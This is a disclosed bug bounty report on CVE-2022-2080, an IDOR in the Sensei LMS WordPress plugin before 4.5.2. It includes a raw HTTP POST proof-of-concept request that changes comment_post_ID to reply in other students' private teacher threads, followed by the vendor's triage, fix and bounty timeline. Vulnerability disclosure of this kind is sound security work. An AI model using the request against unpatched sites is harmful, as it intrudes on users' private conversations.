32

Sensei LMS IDOR to send message

Share:

SUMMARY BY GHIMIRE_VESHRAJ

Sensei LMS < 4.5.2 - Arbitrary Private Message Sending via IDOR (CVE-2022-2080)

The plugin does not ensure that the sender of a private message is either the teacher or the original sender, allowing any authenticated user to send messages to arbitrary private conversation via a IDOR attack. Note: Attackers are not able to see responses/messages between the teacher and student

TIMELINE

ghimire_veshraj submitted a report to Automattic. Jun 6th (6 months ago)

Hi there, hope you are doing great.
So, there is an option to send message to teacher privately by student on Sensei LMS.
Each message sent by student will have different ID,
Student1 cannot access or send message to the message from Student2 (which is meant to be private with teacher)
Similarly Student2 cannot view/send message sent by student1 to the teacher.

But due to lack of access control, it is possible for any student to reply on any thread of Student to teacher just by simply changing ID of the thread which is numeric.

This may sound a bit complex but i will try to explain this with video POC, please let me know if you still didn't understood the vulnerability here:

Video F1759226: recording-1654542444545.webm 41.28 MiB

Zoom in Zoom out Copy Download

0:00 / 0:03

Impact

Any student can reply to other student's thread which is meant to be private between the original student [who sent message] and teacher.

1 attachment:

F1759226: recording-1654542444545.webm

ghimire_veshraj posted a comment. Jun 6th (6 months ago)

HTTP request:

Code 613 Bytes Wrap lines Copy Download

```
POST /wp-comments-post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 F
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://13.126.62.152
Connection: close
Referer: http://13.126.62.152/messages/message-from-student1/
Cookie: <anyValidUser>
Upgrade-Insecure-Requests: 1

comment=<Any+comment>&submit=Post+Comment&comment_post_ID=111&comment_parent=0
```

Thank you for your submission. Your report will be reviewed and we'll get back to you shortly.

xknown Automattic staff updated the severity from Medium to Low. Jun 9th (6 months ago)

xknown Automattic staff changed the status to ○ **Triaged**. Jun 9th (6 months ago)

ghimire_veshraj posted a comment. Jul 18th (4 months ago)

Hi @xknown it seems to be fixed by version 4.5.2,
Waiting for updates from your side :)

Regards,
Veshraj Ghimire

xknown Automattic staff closed the report and changed the status to ○ **Resolved**. Aug 1st (4 months ago)

Hi @ghimire_veshraj, apologies for the delayed reply. The mitigation for this issue was indeed released on the 4.5.2 version.

Automattic rewarded ghimire_veshraj with a **$100** bounty. Aug 1st (4 months ago)

ghimire_veshraj posted a comment. Aug 1st (4 months ago)

Thankyou for the bounty:)

ghimire_veshraj requested to disclose this report. Aug 1st (4 months ago)

Hi @xknown mind disclosing it?

Regards,
Veshraj Ghimire

xknown Automattic staff agreed to disclose this report. Aug 4th (4 months ago)

This report has been disclosed. Aug 4th (4 months ago)